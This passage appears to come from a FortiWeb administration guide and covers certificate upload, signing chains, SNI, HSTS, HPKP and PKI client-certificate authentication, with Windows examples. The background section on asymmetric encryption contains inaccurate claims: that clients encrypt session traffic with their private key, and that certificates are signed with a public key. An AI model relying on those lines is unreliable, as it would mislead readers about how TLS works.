If you configured your CSR to work with the FortiWeb HSM configuration, the CSR generation process creates a private key both on the HSM and on FortiWeb. The private key on the HSM is used to secure

communication when FortiWeb uses the certificate. The FortiWeb private key is used when you upload the certificate to FortiWeb.

5. Select the row that corresponds to the certificate request.

6. Click **Download**.

Standard dialogs appear with buttons to save the file at a location you select. Your web browser downloads the certificate request .csr file. Time required varies by the size of the file and the speed of your network connection.

7. Upload the certificate request to your CA.

After you submit the request to a CA, the CA will verify the information in the certificate, give it a serial number, an expiration date, and sign it with the public key of the CA.

8. If you are not using a commercial CA whose root certificate is already installed by default on web browsers, download your CA's root certificate, then install it on all computers that will be connecting to your appliance. If you do not install these, those computers may not trust your new certificate.

9. When you receive the signed certificate from the CA, upload the certificate to the FortiWeb appliance. For details, see ["Uploading a server certificate"](#) on page 446.

Uploading a server certificate

You also use this process to upload a client certificate for FortiWeb. You add this certificate to a server pool configuration if connections to a pool member require a valid client certificate. For details, see ["Creating a server pool"](#) on page 397.

You can import (upload) either:

- Base64-encoded
- PKCS #12 RSA-encrypted

X.509 server certificates and private keys to the FortiWeb appliance.



DSA-encrypted certificates are not supported if the FortiWeb appliance is operating in a mode other than Reverse Proxy. For details, see ["Supported features in each operation mode"](#) on page 102.

If a server certificate is signed by an intermediate certificate authority (CA) rather than a root CA, before clients will trust the server certificate, you must demonstrate a link with root CAs that the clients trust, thereby proving that the server certificate is genuine. You can demonstrate this chain of trust either by:

- Appending a signing chain in the server certificate.
- Uploading and configuring a signing chain separately. For details, see ["Supplementing a server certificate with its signing chain"](#) on page 448.
- Installing each intermediary CA's certificate in clients' trust stores (list of trusted CAs).

Which method is best for you often depends on whether you have a convenient method for deploying CA certificates to clients (as you can, for example, in an internal Microsoft Active Directory domain) and whether you often refresh the server certificate.

To append a signing chain in the certificate itself, before uploading the server certificate to the FortiWeb appliance

1. Open the certificate file in a plain text editor.
2. Append the certificate of each intermediary CA in order from the intermediary CA who signed the local certificate to the intermediary CA whose certificate was signed directly by a trusted root CA.

For example, a server's certificate that includes a signing chain might use the following structure:

```
-----BEGIN CERTIFICATE-----
<server certificate>
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
<certificate of intermediate CA 1, who signed the server certificate>
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
<certificate of intermediate CA 2, who signed the certificate of intermediate CA 1 and
  whose certificate was signed by a trusted root CA>
-----END CERTIFICATE-----
```

3. Save the certificate.

To upload a certificate



The total file size of all certificates, private keys, and any other uploaded files may not exceed 12 MB.

1. Go to **System > Certificates > Local**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see "[Permissions](#)" on page 85.

2. Click **Import**.
3. Configure these settings:

Type	Select the type of certificate file to upload, either: • Local Certificate—An unencrypted certificate in PEM format. • Certificate—An unencrypted certificate in PEM format. The key is in a separate file. Select this option if the certificate works with an integrated HSM. • PKCS12 Certificate—A PKCS #12 encrypted certificate with key. Other fields may appear depending on your selection.
HSM	Select if you configured the CSR for this certificate to work with an integrated HSM. Available only if you have enabled HSM settings using the <code>config system global</code> command.

	For details, see "Using session keys provided by an HSM" on page 441.
Partition Name	Enter the name of the HSM partition you selected when you created the CSR for this certificate. Available only if Using session keys provided by an HSM (page 441) is selected.
Certificate file	Click Browse to locate the certificate file that you want to upload. This option is available only if Type (page 447) is Certificate or Local Certificate.
Key file	Click Browse to locate the key file that you want to upload with the certificate. This option is available only if Type (page 447) is Certificate.
Certificate with key file	Click Browse to locate the PKCS #12 certificate-with-key file that you want to upload. This option is available only if Type (page 447) is PKCS12 Certificate.
Password	Type the password that was used to encrypt the file, enabling the FortiWeb appliance to decrypt and install the certificate. This option is available only if Type (page 447) is Certificate or PKCS12 Certificate.

4. Click **OK**.

5. To use a certificate, you must select it in a policy or server pool configuration (see ["Configuring a server policy"](#) on page 277 or ["Creating a server pool"](#) on page 397).

See also

- ["Supplementing a server certificate with its signing chain"](#) on page 448
- ["Configuring a server policy"](#) on page 277
- ["Creating a server pool"](#) on page 397
- ["How to offload or inspect HTTPS"](#) on page 439

Supplementing a server certificate with its signing chain

If a server certificate is signed by an intermediate (non-root) certificate authority rather than a root CA, before the client will trust the server's certificate, you must demonstrate a link with trusted root CAs, thereby proving that the server's certificate is genuine. Otherwise, the server certificate may cause the end-user's web browser to display certificate warnings.

If you did not append the signing chain inside the server certificate itself, you must configure the FortiWeb appliance to provide the certificates of intermediate CAs when it presents the server certificate.

To upload an intermediate CA's certificate



The total file size of all certificates, private keys, and any other uploaded files may not exceed 12 MB.

1. Go to **System > Certificates > Intermediate CA** and select the **Intermediate CA** tab.

You can click **View Certificate Detail** to view the selected certificate's subject, range of dates within which the certificate is valid, version number, serial number, and extensions (purposes).

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see "[Permissions](#)" on page 85.

2. To upload a certificate, click **Import**.

3. Do one of the following to locate a certificate:

- Select **SCEP** and enter the URL of the applicable Simple Certificate Enrollment Protocol server. (SCEP allows routers and other intermediate network devices to obtain certificates.)

To specify a specific certificate authority, enter an identifier in the field below the URL.

- Select **Local PC**, then browse to locate a certificate file.

4. Click **OK**.

5. Go to **System > Certificates > Intermediate CA** and select the **Intermediate CA Group** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see "[Permissions](#)" on page 85.

6. Click **Create New**.

7. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.

8. Click **OK**.

9. Click **Create New**.

10. In **ID**, type the index number of the host entry within the group, or keep the field's default value of `auto` to let the FortiWeb appliance automatically assign the next available index number.

11. In **CA**, select the name of an intermediary CA's certificate that you previously uploaded and want to add to the group.

12. Click **OK**.

13. Repeat the previous steps for each intermediary CA certificate that you want to add to the group.

14. To apply an intermediary CA certificate group, select it for **Certificate Intermediate Group** (page 283) in a policy that uses HTTPS, with the server certificate that was signed by those CAs. For details, see "[Configuring a server policy](#)" on page 277.

FortiWeb appliance will present both the server's certificate and those of the intermediate CAs when establishing a secure connection with the client.

See also

- "Supplementing a server certificate with its signing chain" on page 448
- "How operation mode affects server policy behavior" on page 257

Allowing FortiWeb to support multiple server certificates

In some cases, servers host multiple secure websites that use a different certificate for each host. To allow FortiWeb to present the appropriate certificate for SSL offloading, you create a Server Name Indication (SNI) configuration that identifies the certificate to use by domain. The SNI configuration can also specify the client certificate verification to use for the specified domain, if the host requires it.

You can select a SNI configuration in a server policy only when FortiWeb is operating in Reverse Proxy mode and an HTTPS configuration is applied to the policy.

Not all web browsers support SNI. Go to the following location for a list of web browsers that support SNI:

http://en.wikipedia.org/wiki/Server_Name_Indication#Browsers_with_support_for_TLS_server_name_indication.5B10.5D

To create a Server Name Indication (SNI) configuration

1. Go to **System > Certificates > SNI**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see "Permissions" on page 85.

2. Click **Create New**.
3. For **Name**, type a name that can be referenced by other parts of the configuration. Do not use special characters. The maximum length is 63 characters.
4. Click **OK**.
5. Click **Create New** and configure these settings:

Domain Type	Select Simple String to match a domain to certificates using a literal domain specified in Domain (page 450). Otherwise, select Regular Expression to match multiple domains to certificates using a regular expression specified in Domain (page 450).
Domain	Specify the domain of the secure website (HTTPS) that uses the certificate specified by Local Certificate. Enter a literal domain if Simple String is selected in Domain Type (page 450), or enter a regular expression if Regular Expression is selected. After you fill in the field with a regular expression, you can fine-tune the expression in a Regular Expression Validator by clicking the >> button on the side. For details, see "Regular expression syntax" on page 829.
Local Certificate	Select the server certificate that FortiWeb uses to encrypt or decrypt SSL-secured connections for the website specified by Domain. For details, see

	"Uploading a server certificate" on page 446.
Intermediate CA Group	Select the name of a group of intermediate certificate authority (CA) certificates, if any, that FortiWeb presents to validate the CA signature of the certificate specified by Local Certificate. If clients receive certificate warnings that an intermediary CA has signed the server certificate configured in Local Certificate, rather than by a root CA or other CA currently trusted by the client directly, configure this option. For details, see "Grouping trusted CA certificates" on page 438. Alternatively, include the entire signing chain in the server certificate itself before you upload it to FortiWeb, which completes the chain of trust with a CA already known to the client. For details, see "Uploading a server certificate" on page 446 and "Supplementing a server certificate with its signing chain" on page 448.
Certificate Verify	Select the name of a certificate verifier, if any, that FortiWeb uses when an HTTP client presents its personal certificate to the website specified by Domain. If you do not select one, the client is not required to present a personal certificate. For details, see "How to apply PKI client authentication (personal certificates)" on page 454. Personal certificates, sometimes also called user certificates, establish the identity of the person connecting to the website (PKI authentication). You can require that clients present a certificate instead of, or in addition to, HTTP authentication. For details, see "Offloaded authentication and optional SSO configuration" on page 367. Note: The client must support TLS 1.0.
OCSP Stapling Config	Select an OCSP stapling policy to apply to the certificate. OCSP stapling is an improved approach to OCSP for verifying the revocation status of certificates in which FortiWeb periodically queries the OCSP server and cache a time-stamped OCSP response for a set period. The cached response is then included, or "stapled," with the TLS/SSL handshake so that the client can validate the certificate status when it makes a request. For details, see "Configuring OCSP stapling" on page 473.

6. Click **OK**.
7. Repeat the member creation steps to add additional domains and the certificate and verifier associated with them to the SNI configuration. A SNI configuration can have up to 256 entries.
8. To use a SNI configuration, you select it in a server policy. For details, see ["Configuring a server policy"](#) on page 277.

See also

- "Supplementing a server certificate with its signing chain" on page 448
- "Configuring a server policy" on page 277
- "Creating a server pool" on page 397

Forcing clients to use HTTPS

Most users are unaware of protocols and security. Even if your websites offer secure services, users generally still try to access websites using HTTP.

As a result, it's best to provide at least an HTTP service that redirects requests to HTTPS. Even then, if a Man-in-the-Middle (MITM) attacker or CRL causes a certificate validation error, many users will incorrectly assume it is harmless, and click through the alert dialog to access the website anyway—sometimes called “click-through insecurity.” The resulting unsecured connection exposes sensitive data and their login credentials.

Newer versions of major browsers such as Mozilla Firefox and Google Chrome have a built-in list of frequently attacked websites such as gmail.com and twitter.com. The browser will **only** allow them to be accessed via HTTPS. This prevents users from ever accidentally exposing sensitive data via clear text HTTP. Additionally, the browser will not show click-through certificate validation error dialogs to the user, preventing them from ignoring and bypassing fatal security errors.

Similarly, you can also force clients to use only HTTPS when connecting to your websites. To do this, when FortiWeb is performing SSL/TLS offloading, configure it include the RFC 6797 (<http://tools.ietf.org/html/rfc6797>) strict transport security header. All compliant clients will require access to that domain name via a connection using HTTPS.

To force clients to connect only via HTTPS

1. If you want to redirect clients that initially attempt to use HTTP, configure an HTTP-to-HTTPS redirect. See "Example: HTTP-to-HTTPS redirect" on page 628 and "Rewriting & redirecting" on page 622.
2. When configuring the server policy, enable **Add HSTS Header** (page 283) and configure **Max. Age** (page 283).

See also

- "Indicating to back-end web servers that the client's request was HTTPS" on page 423

HTTP Public Key Pinning

HTTP Public Key Pinning (HPKP) is a security feature in which FortiWeb inserts a cryptographic public key in server responses that clients then use to access a server. HPKP prevents attackers from carrying out Man-in-the-Middle (MITM) attacks with forged certificates.

When HPKP is configured, FortiWeb will insert a specified header field into a server's response header that is wrapped in a verified X.509 certificate. The specified header contains a cryptographic public key called a Subject Public Key Information (SPKI) fingerprint that the client will store for a set period of time.

When the client attempts to access the server again, the server will provide a public key that the client recognizes with the public key it received earlier. If the client does not recognize the public key that the server provides in its response, FortiWeb will generate a report and can deny the request.

HPKP is supported when FortiWeb is in Reverse Proxy and True Transparent Proxy mode.

To configure an HPKP profile

1. Go to **System > Certificates > Public Key Pinning**.

To access this part of the web UI, your administrator's account access profile must have Read and Write permission to items in the System Configuration category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New**.

3. Configure these settings:

Name	Enter a name for the HPKP profile. You will use this name to select the profile in other parts of the configuration. The maximum length is 63 characters.
PIN-SHA256	Enter a Base64 encoded SPKI fingerprint. Enter at least two pins, and at most five pins. At least one pin servers as a backup and must not refer to an SPKI fingerprint in a current certificate chain.
Max Age	Enter an interval (in seconds) in which the client will use the SPKI fingerprint to attempt to access the server. The valid range is 0–31536000; the default value is 1296000. If you enter a value of 0, the cached pinning policy information will be removed.
Include Subdomains	Optionally, enable this setting to apply the public key pinning rule to all of the server's subdomains.
Report URI	Optionally, enter a URI to which FortiWeb will send pin validation failures.
Report Only	Enable so that FortiWeb sends reports to the specified Report URI (page 453), if any, and <i>allows</i> the client to connect to the server when there is a pin validation failure. Disable so that FortiWeb sends reports to the specified Report URI (page 453), if any, and <i>prevents</i> the client from connecting to the server when there is a pin validation failure.

4. Click **OK**.

To enable HPKP in Reverse Proxy mode

1. Go to **Policy > Server Policy**.

To access this part of the web UI, your administrator account's access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Modify an existing server policy or create a new one.

To modify an existing server policy, select the policy and click **Edit**.

Note: You will have to select an HTTPS Service if it is not already configured.

To create a new policy, click **Create New**.

3. For **HTTPS Service**, select either **HTTP** or **HTTPS** according to your environment's needs.
4. Click **Show advanced SSL settings**.
5. For **Add HPKP Header**, select a configured HPKP profile.
6. When you are finished configuring the policy, click **OK**.

To enable HPKP in True Transparent Proxy mode

1. Go to **Server Objects > Server > Server Pool**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Modify an existing server pool or create a new one.

To modify an existing **True Transparent Proxy** type server pool, select it and click **Edit**.

To create a new server pool, click **Create New** and select **True Transparent Proxy** for the server pool type. Optionally, leave a description for the server pool in the **Comments** text box, and click **OK** when you are finished.

3. Edit an existing server pool rule or create a new one.

To edit an existing rule, select it and click **Edit**.

Note: You will have to enable SSL if it is not already enabled.

To create a new rule, click **Create New**.

4. Enable **SSL**.
5. Click **Show advanced SSL settings**.
6. For **Add HPKP Header**, select a configured HPKP profile.
7. When you are finished configuring the rule, click **OK**.

How to apply PKI client authentication (personal certificates)

If your clients will connect to your websites using HTTPS, you can configure FortiWeb to require clients to present a personal certificate during the handshake in order to confirm their identities. This is sometimes called public key infrastructure (PKI) authentication (RFC 5280; <http://www.ietf.org/rfc/rfc5280.txt>).

Because FortiWeb presents its own server certificate to the client before requesting one from the client, all PKI authentication with FortiWeb is mutual (2-way) authentication.



In addition to FortiWeb verifying client certificates, you can configure FortiWeb to forward client certificates to the back-end server, whether for additional verification or identity-based functionality. See "[Client Certificate Forwarding](#)" on page 285.

PKI authentication is an alternative to traditional password-based authentication. The traditional method is based on “what you know”—a password used for authentication. PKI authentication is based on “what you have”—a private key related to the certificate bound to only one person. PKI authentication may be preferable for devices where it is onerous for the person to type a password, such as smart phones or tablets.


A known weakness of traditional password based authentication is the vulnerability to password guessing or brute force attacks. Despite warnings, many users still choose weak passwords either because they do not understand what makes a password “strong,” because they do not understand the risks that it poses to the organization, or because they cannot remember a randomized password.

PKI authentication is far more resilient to brute force attacks, and does not require end-users to remember anything. This means that the security of PKI authentication is often stronger than traditional passwords.



For even stronger authentication, you can combine PKI authentication with HTTP or form-based authentication. For details, see "[Authentication styles](#)" on page 340.

Bilateral authentication




PKI authentication relies on **sole private key possession** and **asymmetric encryption** to confirm a user's identity.

Sole private key possession

The private key is a randomized string of text that has a hard-to-guess relationship with its corresponding public key. As such, it features cryptographic protection that passwords lack: passwords do not necessarily have a

verifiable, computable relationship with anything. However, like a password, a private key's strength depends on it remaining a secret.

Like with all X.509 certificates, a client's identity can **only** be irrefutably confirmed if no one else except that person has that certificate's private key.




Provide the client's private keys **only** to that specific client, and transmit and store any backups securely, just as you would for passwords. Failure to store them securely and properly restrict the private key solely to its intended end-user could allow others to authenticate as that person, compromising the security of your websites.

In the event of potential private key compromise, **immediately** revoke the corresponding personal certificate. For details, see "[Revoking certificates](#)" on page 471.

Asymmetric encryption

Public key encryption is a type of asymmetric encryption: it is based upon two keys that are different—but exactly paired—mathematical complements.



Only the **private** key can decrypt data that was encrypted by its **public** key. The inverse is also true: only the **public** key can decrypt data that was encrypted by its **private** key. This is illustrated in the Rivest-Shamir-Adleman (RSA) cryptographic algorithm.

RSA algorithm:

$n = pq$ where p and q are different prime numbers

$\phi = (p - 1)(q - 1)$

$e < n$ where $\gcd(e, \phi) = 1$

$d = e^{-1} \bmod \phi$

(n, d) is the private key

(n, e) is the public key

$c = m^e \bmod n$, $1 < m < n$ where c is the encrypted message

$m = c^d \bmod n$ where m is the decrypted message

During an SSL or TLS handshake, the client and FortiWeb negotiate which of their supported cryptographic algorithms to use, and exchange certificates. After the server receives the client's certificate with its public key, the client encrypts subsequent communications using its private key. As a result, if the server can decrypt messages using the **public** key, it knows that they originate from the originally connecting client who has the related **private** key, **not** an intercepting host (e.g., a Man-in-the-Middle (MITM) attack).



Depending on factors such as a misconfigured client, an SSL/TLS connection may in some cases still be vulnerable to MITM attacks.

There are several steps that you can take to harden security, including using greater bit strengths, updating and properly configuring clients, revoking compromised certificates, and installing only trusted certificates. For details, see ["Hardening security"](#) on page 739 and ["Configuring FortiWeb to validate client certificates"](#) on page 464.

Encrypted transmissions can contain a message authentication checksum (MAC) to verify that the message was not altered during transmission by an interceptor:

- **Digital signatures**—Public keys are also used as signatures. Similar to an encrypted message, as long as the private key is possessed by only one individual, any signature generated from it is also guaranteed to come only from that client. The client will sign a certificate with its matching public key.

Because certificate authorities (CA) sign applicants' certificates, third parties who have that CA's certificate can also confirm that the CA certified the applicant's identity, and the certificate was not forged.

- **Chain of trust**—What if a device does not know the CA that signed the connecting party's certificate? Since there are many CAs, this is a common scenario.

The solution is to have a root CA in common between the two connecting parties, a "friend of a friend."

If a root CA is trusted to be genuine and to sign only certificates where it has verified the applicant's identity, then by induction, all sub-CA certificates that the root CA has signed will also be trusted as genuine.

Therefore, if a client or server's certificate can prove that it is either indirectly (through an intermediary CA signed by the root CA) or directly signed by the trusted root CA, that client/server's certificate will be trusted as genuine.

To configure client PKI authentication

1. Obtain a personal certificate for the client, and its private key, from a CA.

Steps vary by the CA. Personal certificates can be purchased or downloaded from either commercial CAs such as VeriSign, Thawte, or Comodo, or your organization's own private CA, such as a Linux server where you use OpenSSL or a Mac OS X server where you have set up a CA in Keychain Access. For information on certificate requirements such as extended attributes, see ["Configuring FortiWeb to validate client certificates"](#) on page 464.

For a private CA example, see ["Example: Generating & downloading a personal certificate from Microsoft Windows 2003 Server"](#) on page 459.

2. Download the CA's certificate, which contains its public key and therefore can verify any personal certificate that the CA has signed.

Steps vary by the CA.

For a private CA example, see ["Example: Downloading the CA's certificate from Microsoft Windows 2003 Server"](#) on page 461.

If you purchased personal certificates from CAs such as VeriSign, Thawte, or Comodo, you should not need to download the certificate: simply export those CAs' certificates from your browser's own trust store, similar to ["To export and transmit a personal certificate from the trust store on Microsoft Windows 7"](#) on page 460, then upload them to FortiWeb. For details, see ["Uploading trusted CA certificates"](#) on page 437.

3. Install the personal certificate with its private key on the client.

Steps vary by the client's operating system and web browser. If the client uses Microsoft Windows 7, see ["Example: Importing the personal certificate & private key to a client's trust store on Microsoft Windows 7"](#) on page 462.

4. Upload the CA's certificate to the FortiWeb's trust store. For details, see ["Uploading the CA's certificate to FortiWeb's trusted CA store"](#) on page 464.

5. If you have a certificate revocation list, configure FortiWeb with it. For details, see ["Revoking certificates"](#) on page 471.
6. Depending on FortiWeb's current operation mode, configure either a server policy or server pool to consider CA certificates and CRLs when verifying client certificates. For details, see ["Configuring FortiWeb to validate client certificates"](#) on page 464.
7. Configure the server policy to accept HTTPS. For details, see [HTTPS Service](#) (page 282).

Example: Generating & downloading a personal certificate from Microsoft Windows 2003 Server

If you are running Microsoft Certificate Services on Microsoft Windows 2003 Server, you can use your server as a CA, to generate and sign personal certificates on behalf of your clients.

As part of signing the certificate, the CA will send the finished personal certificate to your web browser. As a result, when you are finished generating, you must export the certificates from your computer's trust store in order to deploy the certificates to clients.

To generate a personal certificate in Microsoft Windows 2003 Server

1. On your management computer, start your web browser.
2. Go to:

`https://<ca-server_ipv4>/certsrv/`

where `<ca-server_ipv4>` is the IP address of your CA server.
3. Log in as **Administrator**.
4. Click the **Request a certificate** link.
5. Click the **advanced certificate request** link.
6. Click the **Create and submit a request to this CA** link.
7. In the **Certificate Template** drop-down list, select the Client Authentication template (or a template that you have created for the purpose using Microsoft Management Console (MMC)).
8. In the **Name** field, type the name the end-user on behalf of which the client certificate request is being made. This will be the **Subject** field in the certificate. Other fields are optional.
9. Click **Submit**.

The certificate signing request (CSR) is submitted to the CA.
10. If a message appears, warning you that the website is requesting a new certificate on your behalf, click **Yes** to proceed.

Once the CA server generates the requested certificate, the **Certificate Issued** window appears.
11. Click the **Install this certificate** link.

Your browser downloads the certificate, **including its private key**, and installs it in its trust store. The certificate's name is the one you specified in [Step 8](#) on page 459.



Transmit and store any private key backups securely, just as you would for passwords. Failure to store them securely and restrict the private key solely to its intended end-user could allow others to authenticate as that person, compromising the security of your websites.

In the event of potential private key compromise, immediately revoke the corresponding personal certificate. For details, see ["Revoking certificates"](#) on page 471.

12. If a message appears, warning you that the website is adding one or more certificates to your computer, click **Yes** to proceed.
13. Return to the **Microsoft Certificate Services (MSCS)** home page for your local CA and repeat [Step 4](#) on page 459 through [Step 12](#) on page 460 for each end-user that will use PKI authentication.

To export and transmit a personal certificate from the trust store on Microsoft Windows 7

1. Start Microsoft Internet Explorer 9.
2. Go to **Tools [gear icon] > Internet options**.
3. Click the **Content** tab.
4. Click the **Certificates** button.
5. Click to select a personal certificate in the list.
6. Click **Export**.
7. Click **Next**.
8. Select **Yes, export the private key**.

The end-user will require his or her private key in order to authenticate. Without that token (or if many people possess that token), identity cannot be confirmed.



Transmit and store any private key backups securely, just as you would for passwords. Failure to store them securely and restrict the private key solely to its intended end-user could allow others to authenticate as that person, compromising the security of your websites.

In the event of potential private key compromise, immediately revoke the corresponding personal certificate. For details, see ["Revoking certificates"](#) on page 471.

9. Click **Next**.
10. Select **Personal Information Exchange - PKCS #12 (.pfx)** as the file format.
11. If you need to absolutely guarantee identity (e.g., not even you, the administrator, will have the end-user's private key installed – only the end-user will), mark the check box named **Delete the private key if the export is successful**.

For improved performance, do **not** include all CA certificates from the personal certificate's certification path (e.g., the chain of trust or signing chain). Including the signing chain increases the size of the certificate,

which slightly increases the amount of time and traffic volume required to transmit the certificate each time to FortiWeb. Instead, upload those CAs' certificates to the FortiWeb appliance. For details, see ["Uploading trusted CA certificates"](#) on page 437.

12. Click Next.

13. Enter and confirm the spelling of the password that will be used to password-protect and encrypt the exported certificate and its private key.

14. Click Next.

15. In **File name**, enter a unique file name for the certificate, then click Browse to specify the location where you want to save the exported certificate and private key.

Use a consistent naming convention. This will minimize the likelihood that you confuse one person's private key with another's, deliver it to the wrong person, and therefore need to revoke the corresponding certificate and generate a new one.

16. Click **Finish** to export the certificate and private key.

The certificate and private key are exported in a single file with a `.pfx` file extension to the location specified in [Step 15](#) on page 461.

If the export is successful, a notice appears.

17. Click **OK**.

18. Securely transmit both the `.pfx` file and its password to the end-user, along with instructions on how to install the certificate in his or her web browser's trust store.



Only provide the client's private key to that specific client, and transmit and store any backups securely, just as you would for passwords. Failure to store it securely and restrict the private key solely to its intended end-user could allow others to authenticate as that person, compromising the security of your websites.

In the event of potential private key compromise, immediately revoke the corresponding personal certificate. For details, see ["Revoking certificates"](#) on page 471.

For example, you could give him or her a USB key in person and instruct the end-user to double-click the file, or install the `.pfx` in a Microsoft Active Directory roaming profile. For details, see ["Example: Importing the personal certificate & private key to a client's trust store on Microsoft Windows 7"](#) on page 462.

Example: Downloading the CA's certificate from Microsoft Windows 2003 Server

If you are generated and signed your end-users' personal certificates using Microsoft Certificate Services on Microsoft Windows 2003 or 2008 Server, you must download the CA's certificate and provide it to the FortiWeb appliance so that it will be able to verify the CA signature on each personal certificate.

To download a CA certificate from Microsoft Windows 2003 Server

1. On your management computer, start your web browser.

2. Go to:

`https://<ca-server_ipv4>/certsrv/`

where `<ca-server_ipv4>` is the IP address of your CA server.

3. Log in as **Administrator**.
4. Click the **Download CA certificate, certificate chain, or CRL** link.
5. From **Encoding Method**, select **Base64**.
6. Click **Download CA certificate**.
7. If your browser prompts you, select a location to save the CA's certificate file.

Example: Importing the personal certificate & private key to a client's trust store on Microsoft Windows 7

If you need to import one or two certificates to a person's computer on his or her behalf, you can manually import the `.pfx` file.



If you are importing a clients' personal certificates to their computers on their behalf, for mass distribution, it may save you time to instead deploy certificates via a script or, if the computer is a member of a Microsoft Active Directory domain, a login script or roaming profile.

To harden security, you should also make sure that the browser's settings are configured to check servers' certificates (such as FortiWeb's) with a CRL in case the servers' certificates become compromised, and must be revoked.

Methods for importing a certificate to the trust store vary by the client's browser and operating system. In this section are methods for some popular browsers. For other browsers and operating systems, consult the client's browser documentation.

To import a client certificate into Microsoft Windows 7

1. Start Microsoft Internet Explorer 9.

Alternatively, if you have a `.pfx` file, double-click it to open the wizard, then skip to step [Click Next..](#)

2. Go to **Tools [gear icon] > Internet options**.
3. Click the **Content** tab.
4. Click the **Certificates** button.
5. Click **Import**.

The **Certificate Import Wizard** appears.

6. Click **Next**.
7. If you double-clicked the certificate and private key file to start the wizard, the file is already specified in **File name**.

Otherwise, click **Browse**. Go to the location where you downloaded the personal certificate. From **Files of type**, select **Personal Information Exchange (*.pfx, *.p12)**, **All Files (*.*)**, or whatever file format was used to export the certificate. Finally, select the certificate file, and click **Open**.

8. Click **Next**.

9. In **Password**, type the password that was used to secure the private key. (If the certificate was made on your behalf by an administrator, this is the password that the administrator used when exporting your `.pfx` file. He or she must provide this password to you.)

10. Click **Next**.

11. Select either:

Automatically select the certificate store based on the type of certificate—Your personal certificate will automatically be placed in the default personal certificate store, as long as it was created correctly.

Place all certificates in the following store—Click the **Browse** button to manually indicate your personal certificate store.

12. Click **Next**.

13. Click **Finish**.

If the import is successful, a notification appears.

14. Click **OK**.

The certificate and private key are now imported to the store of certificates specified in step [Select either:](#), which should be the personal certificate store. The person's browser should now be able to present his or her personal certificate whenever a server requires PKI authentication.

15. Click the **Advanced** tab.

16. In the **Settings** area, scroll down to the **Security** settings.

17. Enable **Check for server certificate revocation**.

18. Click **OK** to save your settings and close the **Internet Options** dialog window.

19. Close Internet Explorer.



The **Check for server certificate revocation** option will not take effect until you restart the browser.

To import a client certificate into Google Chrome on Microsoft Windows 7

1. Start Google Chrome.

2. Click the wrench icon in the top right (**Customize and control Google Chrome**), then select **Settings...** from the drop-down menu that appears. On Mac OS X, this option is named **Preferences**.

The dialog for configuring Google Chrome settings appears. On the left hand navigation menu, the **Settings** section is selected.

3. At the bottom of the page, click **Show advanced settings** to reveal additional settings, including **HTTP/SSL**.

4. In the **HTTPS/SSL** area, enable **Check for certificate revocation**.

5. Click the **Manage certificates** button.

The Windows **Certificates** store dialog window appears. (In Mac OS X, this is the Keychain Access application instead.) By default, the **Personal** tab is front most. Continue with [Step 5](#) on page 462 in "[To import a client certificate into Microsoft Windows 7](#)" on page 462.

Import a personal certificate in Google Chrome. Go to **[Wrench icon] > Options > Under the Hood**, click **Manage Certificates**, then click **Import**

Uploading the CA's certificate to FortiWeb's trusted CA store

In order for FortiWeb to be able to verify the CA's signature on client's personal certificates when they connect, the CA's certificate must exist in the FortiWeb's trusted CA certificate store.

You must either:

- Upload the certificates of the signing CA and all intermediary CAs to FortiWeb's store of CA certificates. For details, see "[Uploading trusted CA certificates](#)" on page 437.
- Include the full signing chain up to a CA that FortiWeb knows in **all** personal certificates in order to prove that the clients' certificates should be trusted.



To harden security, regularly update FortiWeb's CRL file in order to immediately revoke a CA's certificate if has been compromised. For details, see "[Revoking certificates](#)" on page 471.

Configuring FortiWeb to validate client certificates

To be valid, a client certificate must:

- Not be expired or not yet valid.
- Not be revoked by a certificate revocation list (CRL).
- Be signed by a certificate authority (CA) whose certificate you have imported into the FortiWeb appliance. For details, see "[Uploading trusted CA certificates](#)" on page 437.
- Contain a **CA** field whose value matches a CA's certificate.
- Contain an **Issuer** field whose value matches the **Subject** field in a CA's certificate.

If the client presents an invalid certificate during PKI authentication for HTTPS, the FortiWeb appliance will not allow the connection.

Certificate validation rules (in the web UI, these are called certificate verification rules) tell FortiWeb which set of CA certificates to use when it validates personal certificates. They also specify a CRL, if any, if the client's certificate must be checked for revocation.

Alternatively, if you have enabled SNI in a server policy or server pool, FortiWeb uses the set of CA certificates specified in the SNI configuration that matches the client request to validate personal certificates.

If you configure the URL-based client certificate feature in a server policy or group, the rules in the specified URL-based client certificate group determine whether a client is required to present a personal certificate.

To configure a certificate validation rule

1. Before you can configure a certificate validation rule, you must first configure a CA group. For details, see "[Grouping trusted CA certificates](#)" on page 438. You may also need to upload a CRL file if you need to

explicitly revoke some invalid or compromised certificates. For details, see ["Revoking certificates"](#) on page 471.

2. Go to **System > Certificates > Certificate Verify.**

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New.**

A dialog appears.

4. Configure these settings:

Name	Type a name that can be referenced in other parts of the configuration. The maximum length is 63 characters.
CA Group	Select the name of an existing CA Group that you want to use to authenticate client certificates. For details, see "Grouping trusted CA certificates" on page 438.
CRL Group	Select the name of an existing CRL Group, if any, to use to verify the revocation status of client certificates. For details, see "Revoking certificates" on page 471.
Publish CA Distinguished Name	Enable to list only certificates related to the specified CA group. This is beneficial when a client installs many certificates in its browser or when apps don't list client certificates. If you enable this option, also enable the option in a CA group. For details, see "Grouping trusted CA certificates" on page 438.

5. Click **OK.**

6. To apply a certificate verification rule, do one of the following:

- Select it in a server policy or server pool configuration that includes HTTPS service. For details, see ["Configuring a server policy"](#) on page 277 or ["Creating a server pool"](#) on page 397.
- Select it in an SNI configuration. For details, see ["Allowing FortiWeb to support multiple server certificates"](#) on page 450.

When a client connects to the website, after FortiWeb presents its own server certificate, it will request one from the client. The web browser should display a prompt, allowing the person to indicate which personal certificate he or she wants to present.



